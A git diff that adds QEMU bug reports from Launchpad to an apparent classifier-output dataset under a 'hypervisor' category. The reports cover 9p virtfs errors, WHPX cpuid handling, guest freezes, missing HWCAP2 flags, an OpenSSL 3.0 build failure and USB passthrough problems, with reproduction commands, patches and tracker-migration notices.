days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +Still relevant. See also bug #1926521 -- MADV_DONTNEED is another madvise() value that can't be ignored as "just a hint". + + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/343 + + diff --git a/results/classifier/deepseek-1/output/hypervisor/1877688 b/results/classifier/deepseek-1/output/hypervisor/1877688 new file mode 100644 index 00000000..f04cc052 --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1877688 @@ -0,0 +1,40 @@ + +9p virtfs device reports error when opening certain files + +Reading certain files on a 9p mounted FS produces this error message: + +qemu-system-x86_64: VirtFS reply type 117 needs 12 bytes, buffer has 12, less than minimum + +After this error message is generated, further accesses to the 9p FS hangs whatever tries to access it. The Arch Linux guest system is otherwise usable. This happens with QEMU 5.0.0 and guest kernel version 5.6.11, hosted on an Arch Linux distro. I use the following command to launch QEMU: + +exec qemu-system-x86_64 -enable-kvm -display gtk -vga virtio -cpu host -m 4G -netdev tap,ifname=vmtap0,id=vn0,script=no,downscript=no -device virtio-net-pci,netdev=vn0 -kernel kernel.img -drive file=file.img,format=raw,if=virtio -virtfs local,path=mnt,mount_tag=host0,security_model=passthrough,id=host0 -append "console=ttyS0 root=/dev/vda rw" + +There's nothing relevant in the guest kernel logs as far as I'm aware of with loglevel set to 7. + +Here's a C program to trigger this behavior. I don't think it matters what the contents of "file" or its size is. + +Looks like being introduced by this change: +https://patchwork.kernel.org/patch/11319993/ + +More specifically this one exactly: + +- if (buf_size < size) { ++ if (buf_size < P9_IOHDRSZ) { + + + +The following patch should fix this bug for the kvm backend (not for the XEN backend yet). + +Please let me know if it fixes this bug for you. + +Thanks, it works. + +Fix is now committed on master as SHA-1 cf45183b718f02b1369e18c795dc51bc1821245d, which actually just reverted the mentioned commit that was leading to this broken behavior: +https://github.com/qemu/qemu/commit/cf45183b718f02b1369e18c795dc51bc1821245d + +The original Xen transport bug that motivated that change, was now fixed differently by handling that Xen issue solely on Xen transport driver side: +https://github.com/qemu/qemu/commit/a4c4d462729466c4756bac8a0a8d77eb63b21ef7 + + +Fixed in QEMU 5.1 release. + diff --git a/results/classifier/deepseek-1/output/hypervisor/1885553 b/results/classifier/deepseek-1/output/hypervisor/1885553 new file mode 100644 index 00000000..f4099fe4 --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1885553 @@ -0,0 +1,45 @@ + +make-check test failed with "Segmentation fault" + +While running the make-check testing on arm architecture the test failed with error: +"kill_qemu() detected QEMU death from signal 11 (Segmentation fault) (core dumped)". Apart from that make-install test always passes. +The problem doesn't reproduce in 100% +qemu - from the master branch +RHEL-8 kernel 4.18.0-221.el8.aarch64 +Logfile with an error you can to find in attachment + +Thanks + + + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" within the next 60 days (otherwise it will get +closed as "Expired"). We will then eventually migrate the ticket auto- +matically to the new system (but you won't be the reporter of the bug +in the new system and thus won't get notified on changes anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/hypervisor/1904317 b/results/classifier/deepseek-1/output/hypervisor/1904317 new file mode 100644 index 00000000..8324c20c --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1904317 @@ -0,0 +1,90 @@ + +cpu feature selection is not affected to guest 's cpuid with whpx + +On windows with -accel whpx, "-cpu" is ignored without any messages. +Guest recognizes features as same as host's. + +Confirmed on v5.2.0-rc1. + +I suggest qemu may do, + +- Warn with incompatible -cpu options were given. +- Enhance cpuid handling. + +Background: +I was investigated mmio and block copy issue in Linux kernel. +I met a problem that Linux went ill for touching mmio with whpx. (not with tcg) +I suspect erms(enhanced rep movs) might trigger. +I tried to mask erms on qemu with -feature,erms, but it was ineffective. + +At last, I disabled erms manually, to tweak whpx-all.c to mask erms in cpuid. + +FYI, qemu with whpx from/to mmio, "rep movsb" does byte access regardless of erms. +Linux kernel tends to choose not "rep movsq" but "rep movsb" with erms. + +Cc'ing Sunil (WHPX maintainer). + +On 11/15/20 10:06 AM, Takumi Nakamura wrote: +> Public bug reported: +> +> On windows with -accel whpx, "-cpu" is ignored without any messages. +> Guest recognizes features as same as host's. +> +> Confirmed on v5.2.0-rc1. +> +> I suggest qemu may do, +> +> - Warn with incompatible -cpu options were given. +> - Enhance cpuid handling. +> +> Background: +> I was investigated mmio and block copy issue in Linux kernel. +> I met a problem that Linux went ill for touching mmio with whpx. (not with tcg) +> I suspect erms(enhanced rep movs) might trigger. +> I tried to mask erms on qemu with -feature,erms, but it was ineffective. +> +> At last, I disabled erms manually, to tweak whpx-all.c to mask erms in +> cpuid. +> +> FYI, qemu with whpx from/to mmio, "rep movsb" does byte access regardless of erms. +> Linux kernel tends to choose not "rep movsq" but "rep movsb" with erms. +> +> ** Affects: qemu +> Importance: Undecided +> Status: New +> + + + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/hypervisor/1916775 b/results/classifier/deepseek-1/output/hypervisor/1916775 new file mode 100644 index 00000000..f7be581a --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1916775 @@ -0,0 +1,93 @@ + +Guest freezes until there is a keyboard input on Windows version + +Windows guests are freezing and waiting for keyboard input and it continues to function after I press a key. I am using Windows10 Home and below is the command I use to run the guest. I have suspected if this is caused by random entropy but even with mouse moving it gives same random locks and it continues to work as soon as I press a key so maybe its not about entropy at all, + +startwinguest.bat: +qemu-system-x86_64 ^ + -name "win" ^ + -machine type=q35,accel=whpx ^ + -cpu EPYC,hv_relaxed,hv_time,topoext ^ + -nodefaults ^ + -usb ^ + -rtc base=localtime,driftfix=slew ^ + -smp 6,sockets=1,cores=3,threads=2 ^ + -m 8192 -mem-prealloc ^ + -soundhw hda ^ + -usbdevice tablet ^ + -netdev user,id=mynet0,hostfwd=tcp::3390-:3389 -device virtio-net,netdev=mynet0 ^ + -vga std ^ + -display gtk ^ + -boot d ^ + -device virtio-scsi-pci,id=scsi0 ^ + -drive "file=%~dp0win10.qcow2,if=none,format=qcow2,discard=unmap,aio=threads,cache=writethrough,id=someid" ^ + -device scsi-hd,drive=someid,bus=scsi0.0 ^ + -drive "file=D:\Setups\OS\Windows\en_windows_server_2019_updated_dec_2020_x64_dvd_36e0f791.iso,media=cdrom,index=1" ^ + -drive "file=%~dp0virtio-win-0.1.185.iso,media=cdrom,index=2" + +I run into this behavior too. Win10 Home guest, PCI-passthrough graphics (GTX 1650), host cpu (Ryzen 7 3800XT). Occurs whether or not I use the qcow disk drive. + +qemu-system-x86_64 + -cpu host,kvm=on,l3-cache=on,hv_relaxed,hv_vapic,hv_time,hv_spinlocks=0x1fff,hv_vendor_id=hv_dummy + -smp 8 + -rtc clock=host,base=localtime + -machine type=q35,accel=kvm,kernel_irqchip=on + -enable-kvm + -drive if=pflash,format=raw,readonly,file=/usr/share/OVMF/OVMF_CODE.fd + -drive if=pflash,format=raw,file=/tmp/OVMF_VARS.fd + -m 32G + -usb + -device usb-tablet + -vga none + -serial none + -parallel none + -boot cd + -nographic + -device usb-host,vendorid=0x045e,productid=0x00db + -device usb-host,vendorid=0x1bcf,productid=0x0005 + -drive id=disk0,index=0,format=qcow2,if=virtio,cache=off,file=./win10_boot_priv.qcow2 + -drive id=disk2,index=2,aio=native,cache.direct=on,if=virtio,cache=off,format=raw,discard=unmap,detect-zeroes=unmap,file=/dev/vg0/win10_hdpriv + -device vfio-pci,host=09:00.0,addr=0x02.0x0,multifunction=on + -device vfio-pci,host=09:00.1,addr=0x02.0x1 + -device vfio-pci,host=09:00.2,addr=0x02.0x2 + -device vfio-pci,host=09:00.3,addr=0x02.0x3 + -netdev tap,id=netid,ifname=taplan,script=no,downscript=no + -device e1000,netdev=netid,mac=52:54:00:01:02:03 + + +PS - My host is Debian 4.19.171-2 + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +This ticket has been moved here (thanks, Abdurrahim): +https://gitlab.com/qemu-project/qemu/-/issues/289 +... thus I'm closing this ticket on Launchpad now. + diff --git a/results/classifier/deepseek-1/output/hypervisor/1917184 b/results/classifier/deepseek-1/output/hypervisor/1917184 new file mode 100644 index 00000000..eb7b05f9 --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1917184 @@ -0,0 +1,49 @@ + +qemu-user vm86() segfaults handling interrupt with ss:sp in same page as cs:ip + +When using qemu-i386 to run a program that uses vm86(), if the vm86 code calls an interrupt while cs:ip and ss:sp both point within the same page, do_int tries to write to the page while it is not writable, causing a segfault. + +qemu version 5.2.0, x86-64 host. + + + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +Bug still present in latest master + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/314 + + diff --git a/results/classifier/deepseek-1/output/hypervisor/1921061 b/results/classifier/deepseek-1/output/hypervisor/1921061 new file mode 100644 index 00000000..69cd3fcc --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1921061 @@ -0,0 +1,70 @@ + +Corsair iCUE Install Fails, qemu VM Reboots + +Hi, + +I had this working before, but in the latest version of QEMU (built from master), when I try to install Corsair iCUE, and it gets to the driver install point => my Windows 10 VM just reboots! I would be happy to capture logs, but ... what logs exist for an uncontrolled reboot? Thinking they are lost in the reboot :-(. + +Thanks! + +Hi, + +Slight update - as I decided to passthru my NIC as well => driver install there also causes a VM (Windows 10) reboot. Seems all driver installs fail? + +Running on the latest master, QEMU emulator version 5.2.93 (v6.0.0-rc3). + +Thanks! + +FYI, to provide an update - I found a workaround! It's related to the CPU selection. I can't seem to pass through my host CPU, even with v6.0.0 of qemu. Rather, I have to use the qemu64 CPU. + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/320 + + +Hi Russel, this bug has been migrated to the new GitLab issue tracker; can you provide me with some extra information over on the new tracker, please? + +(I am *very* likely to miss updates here.) + +1. What is your QEMU command line? (A full, working command-line, but the smallest one you can reproduce the problem with is helpful.) +2. What is your host environment? (distro/linux kernel version, CPU model) +3. What happens *exactly* when you try to install iCUE? Windows reboots -- in what way? Does it bluescreen, or does it just reboot immediately and then continue on as if nothing happened? Are there any errors/warnings/output from QEMU at all? Does QEMU crash? + +Some other information that might be helpful if you have it: + +4. Is there a version of QEMU where this works correctly for you still? Do you know when the problem appeared? +5. Depending on exactly how the VM reboots, you *may* have information in your windows event viewer logs -- do you see any warnings or errors in there that might be relevant? + diff --git a/results/classifier/deepseek-1/output/hypervisor/1921082 b/results/classifier/deepseek-1/output/hypervisor/1921082 new file mode 100644 index 00000000..35442d7e --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1921082 @@ -0,0 +1,50 @@ + +VM crash when process broadcast MCE + +When i do memory SRAR test for VM, I meet the following issue: + +My VM has 16 vCPU, I will inject one UE error to memory which is accessed by VM, Then host MCE is raised and SIGBUS is send to VM, and qemu take control. +Qemu will check the broadcast attribute by following cpu_x86_support_mca_broadcast(); + +Then Qemu may inject MCE to all vCPU, as vCPU is just one process for HOST, we can't guarantee all the vCPUs will enter MCE hander in 1S sync time, and the VM may panic. + +This issue will be easily fixed by expand monarch_timeout configuration, but the exact monarch_timeout can't be easily got, as it will depand on the num of vCPUs and current system schedule status. + +I am wondering why VM need broadcast attribute for MCE, When qeme process MCE event form host, it will always be signaled for one vCPU? If so, why does qemu need boradcast the MCE event to all vCPUs? + +Can weu just deliver LMCE to one specifc vCPU and make this behavior default? + +If anything wrong, Please point out. + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/hypervisor/1926044 b/results/classifier/deepseek-1/output/hypervisor/1926044 new file mode 100644 index 00000000..cc506a42 --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1926044 @@ -0,0 +1,121 @@ + +QEMU-user doesn't report HWCAP2_MTE + +Reproducible on ffa090bc56e73e287a63261e70ac02c0970be61a + +Host Debian 5.10.24 x86_64 GNU + +Configured with "configure --disable-system --enable-linux-user --static" + +This one works and prints "OK" as expected: +clang tests/tcg/aarch64/mte-3.c -target aarch64-linux-gnu -fsanitize=memtag -march=armv8+memtag +qemu-aarch64 --cpu max -L /usr/aarch64-linux-gnu ./a.out && echo OK + + +This one fails and print "0": +cat mytest.c +#include <stdio.h> +#include <sys/auxv.h> + +#ifndef HWCAP2_MTE +#define HWCAP2_MTE (1 << 18) +#endif + +int main(int ac, char **av) +{ + printf("%d\n", (int)(getauxval(AT_HWCAP2) & HWCAP2_MTE)); +} + + +clang mytest.c -target aarch64-linux-gnu -fsanitize=memtag -march=armv8+memtag +qemu-aarch64 --cpu max -L /usr/aarch64-linux-gnu ./a.out + +Actually if we make it like this: + +#include <stdio.h> +#include <sys/auxv.h> + +int main(int ac, char **av) +{ + for (int i = 0; i < 32; ++i) + if ((int)(getauxval(AT_HWCAP2) & (1 << i))) + printf("%d\n", i); +} + + +clang mytest.c -target aarch64-linux-gnu -fsanitize=memtag -march=armv8+memtag +qemu-aarch64 --cpu max -L /usr/aarch64-linux-gnu ./a.out + +I see only: HWCAP_FP HWCAP_CRC32 HWCAP_ATOMICS +So no HWCAP2_BTI as well. + +Sorry, 0 7 8 should be "HWCAP2_DCPODP HWCAP2_FLAGM2 HWCAP2_FRINT" + +Yep, there's a whole bunch that have been missed. + +https://<email address hidden>/ + +This has missed 6.0, but should be acceptable to roll into 6.0.1. + +Thanks for the quick fix! + +On Tue, Apr 27, 2021 at 2:55 PM Richard Henderson < +<email address hidden>> wrote: + +> +> https://<email address hidden>/ +> +> This has missed 6.0, but should be acceptable to roll into 6.0.1. +> +> -- +> You received this bug notification because you are subscribed to the bug +> report. +> https://bugs.launchpad.net/bugs/1926044 +> +> Title: +> QEMU-user doesn't report HWCAP2_MTE +> +> Status in QEMU: +> In Progress +> +> Bug description: +> Reproducible on ffa090bc56e73e287a63261e70ac02c0970be61a +> +> Host Debian 5.10.24 x86_64 GNU +> +> Configured with "configure --disable-system --enable-linux-user +> --static" +> +> This one works and prints "OK" as expected: +> clang tests/tcg/aarch64/mte-3.c -target aarch64-linux-gnu +> -fsanitize=memtag -march=armv8+memtag +> qemu-aarch64 --cpu max -L /usr/aarch64-linux-gnu ./a.out && echo OK +> +> +> This one fails and print "0": +> cat mytest.c +> #include <stdio.h> +> #include <sys/auxv.h> +> +> #ifndef HWCAP2_MTE +> #define HWCAP2_MTE (1 << 18) +> #endif +> +> int main(int ac, char **av) +> { +> printf("%d\n", (int)(getauxval(AT_HWCAP2) & HWCAP2_MTE)); +> } +> +> +> clang mytest.c -target aarch64-linux-gnu -fsanitize=memtag +> -march=armv8+memtag +> qemu-aarch64 --cpu max -L /usr/aarch64-linux-gnu ./a.out +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1926044/+subscriptions +> + + +Patch has been merged: +https://gitlab.com/qemu-project/qemu/-/commit/68948d18224b93361e28 + diff --git a/results/classifier/deepseek-1/output/hypervisor/1952448 b/results/classifier/deepseek-1/output/hypervisor/1952448 new file mode 100644 index 00000000..aa43eff7 --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1952448 @@ -0,0 +1,40 @@ + +qemu 1:6.0+dfsg-2expubuntu2: Fail to build against OpenSSL 3.0 + +Issue discovered after doing a "No-change rebuild" upload to Jammy while working at the liburing2 migration (LP: #1944037). + +Full build log: + +https://launchpadlibrarian.net/570888790/buildlog_ubuntu-jammy-amd64.qemu_1%3A6.0+dfsg-2expubuntu3_BUILDING.txt.gz + +Failure mode: + +/<<BUILDDIR>>/qemu-6.0+dfsg/roms/skiboot/libstb/create-container.c: In function ‘getPublicKeyRaw’: +/<<BUILDDIR>>/qemu-6.0+dfsg/roms/skiboot/libstb/create-container.c:85:17: error: ‘EVP_PKEY_get1_EC_KEY’ is deprecated: Since OpenSSL 3.0 [-Werror=deprecated-declarations] + +Also note that: + +cc1: all warnings being treated as errors + +Upstream skiboot [1] still uses EVP_PKEY_get1_EC_KEY in master, and don't have an open issue about this. To be filed once we setup a reproducer that builds skiboot "standalone", outside of the qemu source tree. + +For the moment we have to relax the severity of that deprecation error, likely appending a -Wno-deprecated-declarations somewhere in d/rules. + + +[1] https://github.com/open-power/skiboot + +Messing around with someone elses crypto functions rarely is good ;-) +So I reported it Upstream at the skiboot project as: +=> https://github.com/open-power/skiboot/issues/271 + +This bug was fixed in the package qemu - 1:6.0+dfsg-2expubuntu4 + +--------------- +qemu (1:6.0+dfsg-2expubuntu4) jammy; urgency=medium + + * d/p/lp-1952448-relax-skiboot-gcc-deprecation-errors.patch: + add patch to workaround FTBFS when building against OpenSSL 3.0. + Thanks to Christian Ehrhardt (LP: #1952448) + + -- Paride Legovini <email address hidden> Fri, 26 Nov 2021 15:47:51 +0100 + diff --git a/results/classifier/deepseek-1/output/hypervisor/241119 b/results/classifier/deepseek-1/output/hypervisor/241119 new file mode 100644 index 00000000..fdf06c64 --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/241119 @@ -0,0 +1,94 @@ + +usb_add of a Creative ZEN unrecognized in guest + +Binary package hint: kvm + +This happens when I add my Creative ZEN to a virtual machine running XP. The device is recognised well at first and drivers are installed correctly. But when trying to connect windows crashes with the classic blue screen It complains about something like usbohci.sys, I can't read well because it crashes too fast. +I have also tried with another virtual machine running Vista, same results. +Any help would be really appreciated! + +I'm using the module kvm-amd with Ubuntu 8.04 + +The USB device has the following ID: 041e:4157 Creative Technology, Ltd + +kvm: + Installed: 1:62+dfsg-0ubuntu7 + Candidate: 1:62+dfsg-0ubuntu7 + Version table: + *** 1:62+dfsg-0ubuntu7 0 + 500 http://archive.ubuntu.com hardy/main Packages + 100 /var/lib/dpkg/status + +Hi, thanks for the bug report. + +This bug was reported against Hardy's kvm-62. Unfortunately, kvm-62 is not able to do usb-passthrough properly. + +Would it be possible for you to test this against intrepid and/or jaunty? + +:-Dustin + +If you're running Hardy, could you please test this using the kvm-84 package in this PPA: + * https://launchpad.net/~ubuntu-virt/+archive/ppa + +Does this solve the issue, or is it reproducible? + +:-Dustin + + +I'm running Intrepid now, however I tried the package you suggested (kvm-84) but the problem persists. + +kvm: + Installed: 1:84+dfsg-0ubuntu8~ppa6 + Candidate: 1:84+dfsg-0ubuntu8~ppa6 + Version table: + *** 1:84+dfsg-0ubuntu8~ppa6 0 + 100 /var/lib/dpkg/status + 1:72+dfsg-1ubuntu6 0 + 500 http://archive.ubuntu.com intrepid/main Packages + +The console output when trying to usb_add the device is the following: + +husb: open device 1.5 +husb: config #1 need -1 +husb: 1 interfaces claimed for configuration 1 +husb: grabbed usb device 1.5 +usb_linux_update_endp_table: Protocol error + + +I forgot: + +Using the new kvm package the virtual machine now doesn't crash with the blue screen anymore. Now it seems like the device is not correctly recognized or initialized + +Okay, the problem persists in kvm-84. I'll mark it as 'Confirmed', and point upstream at the issue. Thanks. + +:-Dustin + +@Dustin +Did this hit upstream, I looked yesterday and couldn't find it to track it. + +To copy this upstream, click "Also affects project", and enter "qemu". + +kvm-84 is very old. Please try to reproduce this against the latest qemu git or at least 0.12.4. + +Hi. I have a similar problem, with a simple JetFlash usb drive. + +After adding it with usb_add, "info usb" shows nothing and I start getting the following message in the console: +husb: config #1 need -1 +husb: 1 interfaces claimed for configuration 1 +husb: grabbed usb device 1.3 +usb_linux_update_endp_table: Protocol error + +This is under Maverick using qemu-kvm 0.12.5+noroms-0ubuntu7 + +The same operation works fine in the same pc under my gentoo system, currently running qemu-kvm-0.13.0, but it has been working now for a year, without ever giving me problems. + +Hi, + +is this still an issue under natty or oneiric? + +Hi, unfortunately my Creative ZEN (for which I initially issued the bug) broke, so I am not able to verify if it is an issue anymore, I'm sorry. + +[Expired for qemu-kvm (Ubuntu) because there has been no activity for 60 days.] + +Closing this bug since the hardware is not available anymore (according to comment #11). + diff --git a/results/classifier/deepseek-1/output/hypervisor/608107 b/results/classifier/deepseek-1/output/hypervisor/608107 new file mode 100644 index 00000000..b558d5ce --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/608107 @@ -0,0 +1,39 @@ + +ppc fails to clear MSR_POW when incurring exception + +QEMU VERSION: 0.12.4 + +According to FreeScale's 'Programming Environments Manual for 32-bit Implementations of the PowerPC Architecture' [MPCFPE32B, Rev.3, 9/2005], section 6.5, table 6-7, an interrupt resets MSR_POW to zero but qemu-0.12.4 fails to do so. +Resetting the bit is necessary in order to bring the processor out of power-management since otherwise it goes to sleep right away in the exception handler, i.e., it is impossible to leave PM-mode. + + + +Thomas Monjalon wrote: +> From: till <email address hidden> +> +> According to FreeScale's 'Programming Environments Manual for 32-bit +> Implementations of the PowerPC Architecture' [MPCFPE32B, Rev.3, 9/2005], +> section 6.5, table 6-7, an interrupt resets MSR_POW to zero but qemu-0.12.4 +> fails to do so. +> Resetting the bit is necessary in order to bring the processor out of power +> management since otherwise it goes to sleep right away in the exception +> handler, i.e., it is impossible to leave PM-mode. +> + +This doesn't look right. POW shouldn't even get stored in SRR1. Could +you please redo the patch and make sure that mtmsr masks out MSR_POW? + + +Alex + + +I'm afraid I don't understand. My the problem and fix doesn't address mtmsr at all. +It just makes sure MSR_POW is cleared in MSR when an exception occurs. + +Do you mean MSR_POW should masked from MSR before saving it to SRR1? +That's already taken care of (target-ppc/helper.c:2074 [qemu-0.12.4]). + +As far as I can see, this problem has been fixed by this commit here: +http://git.qemu.org/?p=qemu.git;a=commitdiff;h=41557447d30eeb944e4 +... so I'm setting the status to "Fix released" now. + diff --git a/results/classifier/deepseek-1/output/hypervisor/643430 b/results/classifier/deepseek-1/output/hypervisor/643430 new file mode 100644 index 00000000..009707d2 --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/643430 @@ -0,0 +1,38 @@ + +system_powerdown NOT working in qemu-kvm with KVM enabled for FreeBSD guests + +system_powerdown stops working in qemu-kvm for FreeBSD guests if KVM is enabled. + +How to reproduce: + +1. qemu -cdrom ~/.VirtualBox/libvirt/FreeBSD-8.1-RELEASE-i386-bootonly.iso +2. Enter system_powerdown in the qemu console +3. Nothing happens. + +Adding --no-kvm option makes system_powerdown work: + +1. qemu --no-kvm -cdrom ~/.VirtualBox/libvirt/FreeBSD-8.1-RELEASE-i386-bootonly.iso +2. system_powerdown +3. FreeBSD installer shows the shutdown dialog as expected + +Tested on FreeBSD 6.4, 7.2, and 8.0 with qemu-kvm 0.12.5 and older versions. + +The subject should be: system_powerdown is NOT working - can someone correct this please? + +I have the same issue with FreeBSD 8.1-RELEASE (i386 and x86_64) on qemu-kvm 0.12.5 (Fedora 13) + +system_powerdown works properly for Linux and Windows 2008 guests, but not for FreeBSD The ACPI power button event is not received by the FreeBSD guest. + +I found this (unconfirmed) status report: +http://www.spinics.net/lists/kvm/msg40064.html + +So it seems to be a regression... + + + +This is fixed upstream (in seabios actually) by commit 6d5a2172f2b76900572107868ec080400c4f615d -- see http://git.linuxtogo.org/?p=kevin/seabios.git;a=commit;h=6d5a2172f2b76900572107868ec080400c4f615d . I added this patch to Debian releases of qemu-kvm, both for squeeze and experimental. + +The updated bios.bin works fine for me, thanks. + +Marking this now as "Fix released" according to comment #3 + diff --git a/results/classifier/deepseek-1/output/hypervisor/692570 b/results/classifier/deepseek-1/output/hypervisor/692570 new file mode 100644 index 00000000..0a443f54 --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/692570 @@ -0,0 +1,112 @@ + +APIC Latency causing BSOD. + +I have a Proxmox Server with the following specs: + +Version: + +pve-manager: 1.7-10 (pve-manager/1.7/5323) +running kernel: 2.6.32-4-pve +proxmox-ve-2.6.32: 1.7-28 +pve-kernel-2.6.32-4-pve: 2.6.32-28 +qemu-server: 1.1-25 +pve-firmware: 1.0-9 +libpve-storage-perl: 1.0-16 +vncterm: 0.9-2 +vzctl: 3.0.24-1pve4 +vzdump: 1.2-9 +vzprocps: 2.0.11-1dso2 +vzquota: 3.0.11-1 +pve-qemu-kvm: 0.13.0-2 +ksm-control-daemon: 1.0-4 + +VM Configuration: + +name: TS64 +ide2: none,media=cdrom +bootdisk: ide0 +ostype: w2k3 +ide0: data:vm-104-disk-1 +memory: 10240 +sockets: 1 +vlan0: virtio=C6:4C:B3:BB:AD:67 +onboot: 1 +cores: 4 +boot: cad +freeze: 0 +cpuunits: 1000 +acpi: 1 +kvm: 1 + +CPU 2x Xeon Quad Core E5620 2.4GHZ Processors: + +processor : 0 +vendor_id : GenuineIntel +cpu family : 6 +model : 44 +model name : Intel(R) Xeon(R) CPU E5620 @ 2.40GHz +stepping : 2 +cpu MHz : 2400.323 +cache size : 12288 KB +physical id : 0 +siblings : 8 +core id : 9 